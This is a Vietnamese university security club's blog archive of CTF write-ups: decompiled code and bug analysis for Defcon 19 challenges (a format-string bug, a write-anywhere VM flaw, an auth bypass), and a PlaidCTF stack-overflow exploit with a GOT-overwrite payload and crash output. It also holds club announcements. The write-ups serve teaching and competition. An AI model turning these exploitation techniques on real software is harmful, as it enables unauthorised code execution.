Thứ Tư, 7 tháng 9, 2011

Chuyển nhà

Hiện tại, trang chủ của BkitSec chuyển sang bkitsec.wordpress.com thay vì trang chủ này.

Thứ Ba, 16 tháng 8, 2011

Defcon 19 Gold



# file gold

gold: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.2, stripped


Binary co the download tu day

Binary chay 1 dich vu lang nghe o port 2069 va cho ket noi toi, voi moi ket noi chuong trinh se tao 1 process de thao tac voi tung client, ve co ban binary nay la mot game nho. Khi ket noi toi port 2069 chung ta co :
haha

hihi
hhe

char *a;

char *b;
char *c;
nc localhost 2069
You are in a brown sad room (2,2,2)
You can see:sledge, gold
Possible exits:nowhere
You are carrying:nothing
_north _south _east _west _up _down _get d_rop _arm _hit e_xchange _Quit


Phan xu li nay trong binary:


while ( !(unsigned __int8)calcVal1(intArr2) )

{
if ( v5 )
goto LABEL_13;
if ( (unsigned __int8)calcVal1(intArr3) )
{
if ( !buff512 )
{
send3(fd, "You can't see anything around you\n");
send3(fd, "_north _south _east _west _up _down _get d_rop _arm _hit e_xchange _Quit\n> \n");
buff512 = (char *)malloc(512u);
if ( read1(fd, (int)buff512, 512, '\n') > 0 )
buff512[512] = 0;
}
}
startGame(fd);
v5 = playGame(fd);
}
v6 = 0;
send3(
fd,
"At the end you reached the goal room! I don't know\nif you enjoyed the trip, nor if you've found what you\nwas searching for... I only hope you know better
how\nto curse now!!\n\n");
if ( holdItem )
{
v7 = 0;
do
{
v8 = playerItems[v7++] == 3;
v6 += v8;
}
while ( v7 != holdItem );
}
send3(fd, "You earned %d pieces of gold\n\n", v6);
LABEL_13:
endGame();



Trong StartGame:
send3(sockfd, "You can see:");

itemCarry[0] = 4;
if ( unk_804D440[3 * current[2]] == current[0] && unk_804D444[3 * current[2]] == current[1] )
{
resetGameItems(currentStatus->itemList, (int)¤tStatus->itemRemain, 2);
v12 = 3 * current[2];
unk_804D440[3 * current[2]] = -1;
unk_804D444[v12] = -1;
}
v1 = currentStatus;
if ( currentStatus->itemRemain )
{
if ( currentStatus->itemRemain > 0 )
{
v2 = 0;
do
{
v3 = gameOutput[v1->itemList[v2] + 10];
if ( !v3 )
v3 = (int)buff512;
send3(sockfd, "%s", v3);
v4 = currentStatus;
if ( currentStatus->itemRemain - 1 > v2 )
{
send3(sockfd, ", ");
v4 = currentStatus;
}
if ( v2 == 6 * v2 / 6 )
itemCarry[0] += v2 > 0;
++v2;
v1 = v4;
}
while ( v4->itemRemain > v2 );
}
}
else
{
send3(sockfd, "nothing");
}
v5 = 7;
if ( itemCarry[0] > 5 )
v5 = itemCarry[0] + 1;
itemCarry[0] = v5;
i = 0;
v7 = 0;
send3(sockfd, "\nPossible exits:");
do
{
if ( currentStatus->direction[i] )
{
++v7;
send3(sockfd, "%s ", *(_DWORD *)&strDirection[4 * i]);
}
++i;
}
while ( i != 6 );
if ( !v7 )
send3(sockfd, "nowhere");
itemCarry[0] += 2;
v8 = 0;
v9 = 0;
send3(sockfd, "\nYou are carrying:");
if ( holdItem )
{
do
{
while ( 1 )
{
v10 = gameOutput[playerItems[v8] + 10];
if ( !v10 )
v10 = (int)buff512;
send3(sockfd, "%s", v10);
if ( holdItem - 1 > v9 )
break;
++v8;
v9 = v8;
if ( holdItem <= v8 ) goto LABEL_28; } ++v8; v9 = v8; send3(sockfd, ", "); } while ( holdItem > v8 );
}
else
{
send3(sockfd, "nothing");
}
LABEL_28:
itemCarry[0] += 2;
send3(sockfd, "\n_north _south _east _west _up _down _get d_rop _arm _hit e_xchange _Quit");
return send3(sockfd, "\n> \n");
}


Va PlayGame:

signed int __cdecl playGame(int fd)

{
BYTE *choose; // eax@1
BYTE *choose1; // edi@1
int numItem_; // ebx@2
signed int j; // ecx@3
int v5; // eax@4
char *v7; // ebx@13
char *v8; // eax@13
ItemInfo *v9; // esi@13
int indexDir; // eax@13
int *currenStatus_; // esi@19
int i; // ebx@21
int v13; // eax@23
int dir; // [sp+18h] [bp-10h]@13

while ( 2 )
{
choose = recv_1byte(fd);
choose1 = choose;
switch ( choose )
{
default:
continue;
case 'x':
numItem_ = holdItem;
if ( holdItem > 1u )
{
j = 1;
do
{
v5 = playerItems[j];
playerItems[j] = gameItems[j];
gameItems[j++] = v5;
}
while ( j != numItem_ );
}
return 0;
case 'r':
if ( (unsigned __int8)dropItem(fd) )
return 0;
continue;
case 'h':
if ( hit(fd) )
return 0;
continue;
case 'g':
if ( currentStatus->itemRemain )
{
if ( getItem(fd) )
return 0;
}
else
{
send3(fd, "there's nothing I can get\n");
}
continue;
case 'd':
case 'e':
case 'n':
case 's':
case 'u':
case 'w':
v7 = direction;
v8 = strchr(direction, (int)choose);
v9 = currentStatus;
indexDir = v8 - v7;
dir = indexDir;
if ( !currentStatus->direction[indexDir] )// EndMap
{
send3(fd, "can't go %s\n", *(_DWORD *)&strDirection[4 * indexDir]);
continue;
}
if ( holdItem )
{
if ( choose1 != (BYTE *)'u' && choose1 != (BYTE *)'d' )
goto LABEL_17;
if ( gameItems[holdItem] == 2 )
goto LABEL_35;
send3(fd, "Hm, I need to use a ladder...\n");
continue;
}
if ( choose1 == (BYTE *)'u' || choose1 == (BYTE *)'d' )
{
LABEL_35:
dropItem(fd);
v9 = currentStatus;
}
LABEL_17:
LOBYTE(v9[1].direction[1]) = 1;
current[0] += Map1[3 * dir];
current[1] += Map2[3 * dir];
current[2] += Map3[3 * dir];
currentStatus = (ItemInfo *)v9->direction[dir];
return 0;
case 'b':
ddtek_backdoor(fd, 0);
continue;
case 'X':
currenStatus_ = (int *)currentStatus;
if ( currentStatus->itemRemain > 1 && currentStatus->itemRemain - 1 > 0 )
{
for ( i = 0; ; ++i )
{
v13 = currenStatus_[i + 6];
currenStatus_[i + 6] = currenStatus_[i + 7];
currenStatus_[i + 7] = v13;
if ( currenStatus_[26] - 1 <= i + 1 ) break; } } return 0; case 'Q': send3(fd, "quit"); return 1; case 'a': if ( (unsigned __int8)Arm(fd) ) return 0; continue; } } }



O day voi moi su lua chon cua nguoi choi, chuong trinh se thuc hien 1 function de xu li: gia su nguoi choi chon 'x' :

bool __cdecl getItem(int a1)

{
int indexItem; // ecx@1
ItemInfo *status; // edx@2
int avai; // eax@2
int t; // eax@3
bool result; // eax@4

indexItem = holdItem;
if ( holdItem == 25 )
{
send3(a1, "You are carrying too much!\n");
result = 0;
}
else
{
status = currentStatus;
avai = currentStatus->itemRemain;
if ( avai > 0 )
{
t = avai - 1;
currentStatus->itemRemain = t;
playerItems[indexItem] = status->itemList[t];
holdItem = indexItem + 1;
}
result = 1;
}
return result;
}



truong hop 'b' chinh la thong so de goi ddtek_backdoor
Truong hop nguoi choi chon 'a' (Arm):

int __cdecl Arm(int a1)

{
int item; // eax@2
int result; // eax@6
char buff[512]; // [sp+10h] [bp-208h]@10

if ( holdItem )
{
item = playerItems[holdItem - 1];
if ( item == 4 )
{
send3(a1, "Sledge already armed and ready to fire!\n");
result = 0;
}
else
{
if ( item == 1 )
{
playerItems[holdItem - 1] = 4; // set to Armed
result = 1;
}
else
{
send3(a1, "I can't arm ");
if ( gameOutput[gameItems[holdItem] + 10] )
{
send3(a1, (const char *)gameOutput[gameItems[holdItem] + 10]);
}
else
{
snprintf(buff, 0x200u, buff512);
send3(a1, buff);
}
send3(a1, "\n");
result = 0;
}
}
}
else
{
send3(a1, "What should I arm?!\n");
result = 0;
}
return result;
}



O dong:
snprintf(buff, 0x200u, buff512);
la mot loi format string va loi nay chi duoc goi len khi nguoi hoi co > 0 item ( holdItem > 0), trang thai cua item khac 4 ( tuc la chua dc Armed), va khong the arm dc.
Tren day la phan doan cua minh sau khi RE xong, tiep theo minh se debug va viet 1 cai exploit hoan chinh cho no :)

Thứ Năm, 16 tháng 6, 2011

DC19 Quals Retro 400 WriteUp

Retro 400 là một bài về VM khá phức tạp, vấn đề chính xoay quanh việc reverse để tìm ra cú pháp của vmcode để có thể input vào và tìm ra bug trong việc xử lí input của vm.

Bắt đầu với function được gọi sau khi start chương trình:

void __cdecl sub_80496F0(signed int a1, int a2)
{
char v2; // zf@1
signed int v3; // ecx@1
signed int v4; // ebx@1
int v5; // edi@1
char *v6; // esi@1
int v7; // [sp+0h] [bp-114h]@1
char s; // [sp+4h] [bp-110h]@1
signed int *v9; // [sp+108h] [bp-Ch]@1
__int64 v10; // [sp+114h] [bp+0h]@1

HIDWORD(v10) = &v10;
v5 = (int)"HistoryRepeatsItself\n";
v9 = &a1;
v4 = a1;
v6 = &s;
v7 = a2;
fwrite("Password: ", 1u, 0xAu, off_80D3368);
fgets(&s, 256, off_80D3360);
v3 = 22;
do
{
if ( !v3 )
break;
v2 = *v6++ == *(_BYTE *)v5++;
--v3;
}
while ( v2 );
if ( v2 )
{
sub_8048AE0(v4, v7);
while ( 1 )
sub_8048DE0();
}
exit(0);
}



Ở đây chương trình sẽ đọc và kiểm tra PassWord so với chuỗi HistoryRepeatsItself, nếu đúng sẽ gọi sub_8048AE0 với tham số là argv[1] và argv[2]. Tiếp tục với sub_8048AE0:


int __cdecl sub_8048AE0(signed int a1, int a2)
{
FILE *v2; // esi@2
int i; // edi@4
size_t v4; // eax@5
size_t v5; // ebx@5
int v6; // eax@7
int v7; // edi@8
int v8; // esi@8
void *v9; // eax@10
int v10; // ebx@10
char v11; // cl@12
int v12; // eax@15
int j; // ecx@21
int v14; // eax@22
char v15; // dl@22
char v16; // dl@23
int v17; // eax@24
int result; // eax@26
int v19; // eax@31
void *v20; // [sp+18h] [bp-420h]@4
char ptr; // [sp+1Ch] [bp-41Ch]@5
int v22; // [sp+41Ch] [bp-1Ch]@30
int v23; // [sp+420h] [bp-18h]@30
char *v24; // [sp+424h] [bp-14h]@30
int v25; // [sp+428h] [bp-10h]@30

if ( a1 <= 1 )
{
v2 = off_80D3360;
dword_80E4FC0 = 0;
dword_80E49A0 = 0;
}
else
{
dword_80E49A0 = a2 + 8;
dword_80E4FC0 = a1 - 2;
v2 = fopen(*(const char **)(a2 + 4), "r");
}
if ( !v2 )
{
perror(*(const char **)a2);
exit(0);
}
v20 = 0;
for ( i = 0; ; memcpy_0((void *)(i + v19 - v5), &ptr, v5) )
{
while ( 1 )
{
v4 = fread(&ptr, 1u, 0x400u, v2);
v5 = v4;
if ( v4 != -1 )
break;
if ( *(_DWORD *)sub_807B300() != 4 && *(_DWORD *)sub_807B300() != 35 )
goto LABEL_35;
}
if ( !v4 )
break;
i += v4;
v19 = realloc(v20, i);
if ( !v19 )
goto LABEL_35;
v20 = (void *)v19;
}
v6 = malloc1(i);
dword_80E49A8 = 0;
dword_80E4FCC = v6;
dword_80E49A4 = v6;
dword_80E49AC = v6;
if ( !v6 )
goto LABEL_35;
v7 = (int)((char *)v20 + i);
v8 = (int)v20;
while ( v8 < (unsigned int)v7 )
{
while ( 1 )
{
while ( 1 )
{
v9 = memchr((const void *)v8, 10, v7 - v8);
v10 = (int)v9;
if ( v9 )
break;
v10 = v7 - 1;
if ( v8 < (unsigned int)(v7 - 1) )
goto LABEL_12;
LABEL_29:
if ( *(_BYTE *)v8 == ' ' )
goto LABEL_30;
LABEL_21:
for ( j = v8 + 1; j < (unsigned int)v10; dword_80E49AC = v14 + 1 )
{
v14 = dword_80E49AC;
v15 = *(_BYTE *)j++;
*(_BYTE *)dword_80E49AC = v15;
}
v16 = *(_BYTE *)j;
if ( *(_BYTE *)j != '\n' )
{
v17 = dword_80E49AC;
++j;
*(_BYTE *)dword_80E49AC = v16;
dword_80E49AC = v17 + 1;
}
v8 = j + 1;
if ( j + 1 >= (unsigned int)v7 )
goto LABEL_26;
}
if ( v8 >= (unsigned int)v9 )
goto LABEL_29;
LABEL_12:
v11 = *(_BYTE *)v8;
if ( *(_BYTE *)v8 == ' ' )
break;
if ( v11 == '\t' )
break;
LABEL_14:
v8 = v10 + 1;
}
v12 = v8;
while ( 1 )
{
++v12;
if ( v12 == v10 )
break;
while ( *(_BYTE *)v12 != ' ' )
{
if ( *(_BYTE *)v12 != '\t' )
goto LABEL_14;
++v12;
if ( v12 == v10 )
goto LABEL_20;
}
}
LABEL_20:
if ( v11 != ' ' )
goto LABEL_21;
LABEL_30:
v25 = v10 - (v8 + 1);
v24 = (char *)(v8 + 1);
v8 = v10 + 1;
sub_80487B0((struc_2 *)&v24, (struc_2 *)&v22);
sub_8048A20(v22, v23);
}
LABEL_26:
result = dword_80E4FCC;
if ( dword_80E4FCC == dword_80E49AC )
LABEL_35:
exit(0);
return result;
}


Một cách cơ bản function này sẽ làm những thao tác sau:

Đọc file từ argv2 được đưa vào, đưa nội dung vào một buffer.
Đọc từng dòng thông qua việc tìm "\n" trong buffer. Đối với mỗi dòng nó sẽ tìm kiếm " "( Space ) và "\t" (Tab), nếu không có nó sẽ tiếp tục qua dòng tiếp theo.
Nếu có sẽ dùng 1 con trỏ tạm thời tăng dần lên, khi gặp một kí tự nào đó không phải space và tab thì quay lại vòng lặp bên trên để đi đến dòng tiếp theo.
Nếu đến cuối dòng mà không gặp kí tự nào khác thì sẽ kiểm tra xem kí tự đầu tiên có phải là " " hay không. Nếu đúng thì sẽ chuyển qua gọi 2 function là sub_80487B0 và sub_8048A20. Cụ thể 2 hàm này làm gì sẽ nói rõ ở phía sau.
Nếu như kí tự đầu tiên là "\t" ( tưc là khác Space ) thì chưowng trình sẽ nhảy lại lên trên để tính toán số lượng kí tự space hoặc tab và đưa vào địa chỉ dword_80E49AC.
Tổng kết lại có thể thấy cú pháp chương trình sẽ bao gồm các kí tự Space và Tab kết thúc là "\n".
Ở Function: sub_8048A20 :


nt __cdecl sub_8048A20(int AddressOfArg, int numberArg)
{
int v2; // ebx@1
void *v3; // eax@2
int result; // eax@2
int v5; // edx@2

v2 = dword_80E49A8;
if ( !(dword_80E49A8 & 0x3FF) )
{
dword_80E4FC4 = (void *)realloc(dword_80E4FC4, 12 * dword_80E49A8 + 0x3000);
if ( !dword_80E4FC4 )
{
fwrite("Out of memory!\n", 1u, 0xFu, off_80D3368);
exit(0);
}
v2 = dword_80E49A8;
}
v3 = dword_80E4FC4;
*((_DWORD *)dword_80E4FC4 + 3 * v2) = AddressOfArg;
v5 = dword_80E49AC;
*((_DWORD *)v3 + 3 * v2 + 2) = numberArg;
*((_DWORD *)v3 + 3 * v2 + 1) = v5;
result = v2 + 1;
dword_80E49A8 = v2 + 1;
return result;
}

Trong quá trình debug mình tìm ra thông số đưa vào của function này chính là địa chỉ cùa buff và số lượng các kí tự Space/Tab của dòng đó. Cho nên sau khi function sub_8048AE0 kết thúc sẽ có một vài điểm cần lưu ý:
Với file input là:
shell python -c 'print "\x09"*6+"\x20"+"\x09"+"\x20"*7+"\x20"+"\x09"*7+"\x20"+"\x09"*7+"\x0a"' > a

Tại lúc bắt đầu :0x8048de0: push ebp

Các giá trị như sau:


gdb$ x/4wx 0x080e49a4
0x80e49a4: 0x28107070 0x00000000 0x2810708f 0x00000000
gdb$ x/4wx 0x28107070
0x28107070: 0x09090909 0x20092009 0x20202020 0x09202020
gdb$ x/4wx 0x80E4FCC
0x80e4fcc: 0x28107070 0x00000000 0x00000000 0x00000000
gdb$ x/4wx 0x080e49ac
0x80e49ac: 0x2810708f 0x00000000 0x00000000 0x00000000



Cuối cùng là function để đọc và thực thi code VM:



void __cdecl sub_8048DE0()


buff[0] = dword_80E49A4;
buff[6] = dword_80E49A4 + 6;
if ( dword_80E49A4 + 6 > (unsigned int)dword_80E49AC )
{
LABEL_80:
fwrite("Illegal instruction.\n", 1u, 0x15u, off_80D3368);
exit(0);
}
buff[1] = *(_BYTE *)dword_80E49A4++;
v3 = -((buff[1] & 0x76u) < 1);
v4 = *(_BYTE *)(buff[0] + 1);
dword_80E49A4 = buff[0] + 2;
v5 = (v4 & 0x76u) >= 1 ? 16 : 0;
v6 = (*(_BYTE *)(buff[0] + 2) & 0x76u) >= 1 ? 8 : 0;
dword_80E49A4 = buff[0] + 3;
v7 = v6;
buff[3] = *(_BYTE *)(buff[0] + 3);
dword_80E49A4 = buff[0] + 4;
v9 = (buff[3] & 0x76u) < 1;
buff[4] = *(_BYTE *)(buff[0] + 4);
dword_80E49A4 = buff[0] + 5;
v11 = v5 | (*(_BYTE *)(buff[0] + 5) & 0x76) != 0 | ~v3 & 32;
LOBYTE(v11) = v7 | v11;
dword_80E49A4 = buff[6];
v2 = ((buff[4] & 0x76u) >= 1 ? 2 : 0) | ~-v9 & 4 | v11;
if ( (_BYTE)v2 <= 32u )
{
switch ( (_BYTE)v2 )
{
case 0x1B:
.................


!!!Mình đã lượt bỏ một số đoạn cho ngắn gọn lại

Qua đoạn trên có thể hiểu chương trình đang lấy địa chỉ của buff vào và lấy từng giá trị ra, byte đầu tiên sẽ dùng để kiểm tra dấu ( khi là \x09 thì xor với 0x76 sẽ ra giá trị 0 ), byte thứ 1 sẽ AND với 32, thứ 2 với 16, thứ 3 với 8, thứ 4 với 4, thứ 5 với 2 và thứ 6 với 1. Lấy giá trị này làm v2 và dùng làm OpCode cho VM.

Tổng kết lại chương trình sẽ nhận Space và Tab là giá trị 0 và 1, lấy 7byte đầu tiên để làm Opcode, 32Byte tiếp theo cho Arg1 và 32Byte cho Arg2 bởi vì function đưới đây lấy Arg cho mỗi Opcode trừ đi mỗi lần 32Byte.

int __cdecl sub_8048290()
{
if ( !dword_80E4FC8 )
exit(0);
--dword_80E4FC8;
return LODWORD(flt_80E4BC0[dword_80E4FC8]);
}


Đó là cách rr400 hiện thực. Và bug nằm ở :

case 0x1E:
v66 = sub_8048DA0();
if ( (unsigned int)v66 > 0x7F )
fwrite("Register out of range.\n", 1u, 0x17u, off_80D3368);
dword_80E49C0[v66] = sub_8048290();
return;


Function này sau khi kiểm tra index thì chỉ báo lỗi mà không exit dẫn đến phép gán luôn được thực hiện.
dword_80E49C0[v66] = sub_8048290();

Dựa vào đây chúng ta có thể "write 4bytes to anywhere"!

Thứ Bảy, 11 tháng 6, 2011

DC19 Quals Retro 300 small writeup

Sau khi RE xong function quan trọng nhất mình có code như sau:


signed int __cdecl sub_8049D1F(int fd)
{
int byteRecei; // eax@3
signed int result; // eax@8
char s1[256]; // [sp+10h] [bp-198h]@1
int passCode; // [sp+110h] [bp-98h]@11
char PassCode2_Recv; // [sp+114h] [bp-94h]@15
char v6; // [sp+11Eh] [bp-8Ah]@15
char PassCode_Recv; // [sp+11Fh] [bp-89h]@11
char v8; // [sp+123h] [bp-85h]@11
char *UserPinFromDB; // [sp+124h] [bp-84h]@11
char buffRecei[100]; // [sp+128h] [bp-80h]@3
void *UserName_recv; // [sp+18Ch] [bp-1Ch]@9
int ByteRecei; // [sp+190h] [bp-18h]@6
int byteSend; // [sp+194h] [bp-14h]@3
int v14; // [sp+198h] [bp-10h]@1
int OptionChoose; // [sp+19Ch] [bp-Ch]@19

v14 = recv1(fd, (int)s1, 0x100u, 10);
if ( v14 <= 0 )
exit(0);
s1[v14] = 0;
if ( strcmp(s1, s2) )
exit(0);
AntiDebug();
sendIntro(fd);
byteSend = send1(fd, "Username:", 0);
byteRecei = recv1(fd, (int)buffRecei, 0x63u, 10);
ByteRecei = byteRecei;
if ( byteRecei > 0 && ByteRecei <= 99 )
{
buffRecei[ByteRecei] = 0;
UserName_recv = strdup(buffRecei);
byteSend = send1(fd, "Passcode:", 0);
ByteRecei = recv1(fd, (int)buffRecei, 0x63u, 10);
if ( ByteRecei == 14 )
{
buffRecei[14] = 0;
strncpy(&PassCode_Recv, buffRecei, 4u);
v8 = 0;
if ( GetUserPinFromDB((int)UserName_recv, (int)&UserPinFromDB, (int)&passCode) >= 0 )
{
if ( strncmp(&PassCode_Recv, UserPinFromDB, 4u) )
{
send1(fd, "Bad Username or Pin\n", 0);
free(UserName_recv);
free(UserPinFromDB);
result = 1;
}
else
{
strncpy(&PassCode2_Recv, &buffRecei[4], 0xAu);
v6 = 0;
printf("sending %s out of buf: %s\n", &PassCode2_Recv, buffRecei);
if ( CheckingPassCode2(passCode, &PassCode2_Recv) >= 0 )
{
do
{
Send2(fd);
ByteRecei = recv1(fd, (int)buffRecei, 0x63u, 10);
buffRecei[ByteRecei] = 0;
if ( ByteRecei == 1 )
{
OptionChoose = atoi(buffRecei);
if ( (unsigned int)OptionChoose <= 9 )
JUMPOUT(__CS__, (unsigned int)FuncTable[OptionChoose]);
send1(fd, "please select from the options presented", 0);
}
else
{
send1(fd, "please select from the options presented", 0);
}
}
while ( OptionChoose != 5 );
free(UserName_recv);
free(UserPinFromDB);
result = 0;
}
else
{
send1(fd, "Bad Username or Passcode\n", 0);
free(UserName_recv);
free(UserPinFromDB);
result = 1;
}
}
}

else
{
send1(fd, "Bad Username or Pin\n", 0);
free(UserName_recv);
result = 1;
}
}
else
{
send1(fd, "Bad Username or Pin\n", 0);
free(UserName_recv);
result = 1;
}
}
else
{
printf("name overflow attemp: %d vs %d \n", ByteRecei, 100);
result = 1;
}
return result;
}




Ở dòng 43 có 1 phép kiểm tra PassCode được đưa vào so vơí passCode lấy ra từ DB
if ( strncmp(&PassCode_Recv, UserPinFromDB, 4u) )

Lưu ý là passCode chia làm 2 phần, phần đầu là Pin gồm 4char và phần còn lại là 10 char PassCode. Trong đó Pin và PassCode sẽ dc lấy ở :
if ( GetUserPinFromDB((int)UserName_recv, (int)&UserPinFromDB, (int)&passCode) >= 0 )


Nếu Pin đưa vào trùng vơí Pin trong DB chương trình sẽ kiểm tra tơí PassCode:
CheckingPassCode2(passCode, &PassCode2_Recv) >= 0 )

Nếu đúng sẽ tùy vào OptionChoose mà gọi vào các function sau:


.rodata:0804A918 FuncTable dd offset NotImpl ; DATA XREF: sub_8049D1F+387 o
.rodata:0804A91C dd offset NotImpl_
.rodata:0804A920 dd offset NotImpl3___
.rodata:0804A924 dd offset NotImpl4
.rodata:0804A928 dd offset NotImpl5
.rodata:0804A92C dd offset NotImpl6
.rodata:0804A930 dd offset NotImpl
.rodata:0804A934 dd offset NotImpl
.rodata:0804A938 dd offset GetKey1
.rodata:0804A93C dd offset send3_
.rodata:0804A93C _rodata ends

GetKey1 chính là function đọc /home/retro300/key và output ra socket. Do vâỵ mục tiêu cuôi cùng chính là pass qua các phép kiểm tra.
Patch chương trình ở AntiDebug();
và dùng gdb để lâý ra các giá trị cần thiết bằng cách breakPoint tại các chỗ so sánh.
Đó là tất cả về rr300!

Thứ Ba, 26 tháng 4, 2011

plaidCtf 2011 - exploitMe writeup

Các bạn có thể download Binary của challenges này ở :
http://repo.shell-storm.org/CTF/PlaidCTF-2011/23-Exploit_Me/exploitMe

Thử chạy chương trình lên chúng ta nhận được:

./exploitMe
Regards, Dolan :}
Sau khi sử dụng decompile ra source C và tìm chuỗi "Regards, Dolan" ta sẽ tới được:
>
int __cdecl sub_8048504(signed int argc, char* argv[])
{

if ( argc <= 3 ) {
puts("Regards, Dolan :} ");
exit(-1); }
sub_8048575(argv[1], strtoll(argv[2]), atoi(argv[3])); return 0;
}

Như vậy chương trình sẽ cần 3 biến đưa vào (1) và gọi hàm sub_8048575 ở (2)Tiếp tục phân tích sub_8048575
void __cdecl sub_8048575(const char *str, int a2, size_t len)
{
size_t t; // [sp+50h][bp-1Ch]
char buff[64]; [1] // [sp+10h] [bp-5Ch]

if ( len <= 71 ) [2]
{
t = len;
strncpy(buff, str, len); [3]
if ( t )
*t = a2; [4]
exit(0);
}
}

Chúng ta sẽ chú ý đến những điểm sau:
->Độ rộng của buffer là 64 bytes (1) tuy nhiên chương trình sẽ kiểm tra len <= 71 (2) và sử dụng len này để copy chuỗi str vào buff ở (3).
-> Ở (4) sẽ có phép gán *t = a2
-> Stack của chương trình sẽ có dạng:
[Save EIP][Save EBP]<--- 0x1c bytes--->[t][buff]

Do vậy có thể xác định rằng khi đưa vào chương trình len = 68 nó sẽ copy 68 bytes từ chuỗi str vào buff, 4 bytes cuối cùng chuỗi str sẽ đè lên t và khiến cho phép gán ở (3) nằm dưới quyền điều khiến của chúng ta. ( Chúng ta có thể viết 4 bytes bất cứ đâu).
Để kiểm chứng lại chúng ta thử ghi vào một nơi nào đó! Bởi vì ngay sau phép gán chương trình sẽ gọi exit vì vậy ta sẽ thử bằng các ghi vào GOT của hàm exit.
[26]# objdump -d -j .plt ./exploitMe | grep exit -A4
08048434 :
8048434: ff 25 f4 97 04 08 jmp *0x80497f4
804843a: 68 40 00 00 00 push $0x40
804843f: e9 60 ff ff ff jmp 80483a4 <__gmon_start__@plt-0x10>

./exploitMe `python -c 'print "A"*64+"\xf4\x97\x04\x08"'` 1094795585 68
Segmentation fault (core dumped)
05:49 [root@debvbox]
(~)

[32]# gdb -core=core ./exploitMe
GNU gdb (GDB) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /root/exploitMe...(no debugging symbols found)...done.
[New Thread 3211]

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/i686/cmov/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./exploitMe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAô'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()


Giá trị ở 1094795585 sau khi convert thông qua strtoll sẽ thành 0x41414141
Việc cuối cùng là chọn địa chỉ để return vào, có 2 cách để thực hiện:
i - Bruteforce return vào stack vì lúc này nx không được bật.
ii- Bruteforce giá trị system call execve+2 ( ở cách này ta sẽ return vào execve+2 bởi vì chương trình gọi exit(0) )

Thứ Ba, 8 tháng 3, 2011

Thông báo tuyển thành viên .

Chào các bạn bkiter đam mê Hacking . Lâu nay, có thể các bạn đã nghe đến BkitSec ( a.k.a BkitNS ), một nhóm nghiên cứu về Hacking, bảo mật của sinh viên BK . Nhưng rỏ ràng, từ nhiều nguồn thông tin, các bạn không có cơ hội để cùng tham gia hoạt động và nghiên cứu chung với nhóm. Vậy bây giờ là cơ hội cho các bạn.

Đợt tuyển thành viên này sẽ kéo dài đến hết tuần sau (19/03/2011) . Điều kiện để tham gia như sau :


-          Có niềm đam mê trong lĩnh vực Hacking/Security.
-          Có kiến thức cơ bản về khoa học máy tính/kỹ thuật máy tính.
-          Vượt qua vòng kiểm tra kiến thức và kỹ năng . Đề bài xin các bạn xem link bên dưới .
-          Funny !!!
Tất cả chỉ như vậy. Các bạn vui muốn tham gia vui lòng gửi mail về bkitsec@gmail.com với nội dung như sau :

Họ tên :
MSSV :
Số điện thoại :
Giới thiệu sơ qua về bạn, và nói một ít về một lĩnh vực mà bạn yêu thích .
Và đừng quên đính kèm câu trả lời chi tiết cho các câu hỏi .


Nếu có bất cứ thắc mắc gì, các bạn có thể gửi email về bkitsec@gmail.com , các bạn sẽ nhận được câu trả lời chi tiết nhất ;) .
Sau khi tuyển thành viên xong, chúng ta sẽ có một buổi gặp gỡ thân mật. Đến lúc đó các bạn sẽ nhận được plan chính thức và những hoạt động chúng ta sẽ phải tiến hành .


Chúc các bạn thành công !


Link câu hỏi : http://bit.ly/gKy18L

Thứ Tư, 26 tháng 1, 2011

io.smashthestack wargame!!!!!

Finally :))
http://io.smashthestack.org:84/tags/level28.html

Everything is simple than it looks like :D

And xichzo :D

http://io.smashthestack.org:84/tags/level29.html

Thứ Hai, 10 tháng 1, 2011

The First in 2011: Padocon CTF

PADOCON(Paradox Conference) is a computer hacking and security conference being held in Korea. The conference offers two tracks of presentation over two days.
Above all, PADOCON has a motto that persue freedom. So, PADOCON has not any boundary for the hacking or security. Just enjoy, It's fun.
PADOCON also offers the CTF(Capture The Flag) Contest, various events during conference. The CTF teams are elected from the PADOCON CTF Online. 5 teams can come to the conference to be a real winner.



PADOCON là hội thảo máy tính về tấn công và phòng thủ máy tính được tổ chức ở Hàn Quốc Năm nay PADOCON tiếp tục tổ chức thi đấu CTF giữa các nhóm trên thế giới. 5 nhóm thắng cuộc ở vòng loại sẽ tham da vòng chung kết tại Hàn Quốc để tìm ra người chiến thắng.

Thời gian: 20:00 14th KST ~ 20:00 16th KST, January 2011 (during 48 hours)

Địa điểm: AT Center, Yangjae-dong, Seocho-gu, Seoul

Trích từ: http://padocon.org/conference2011/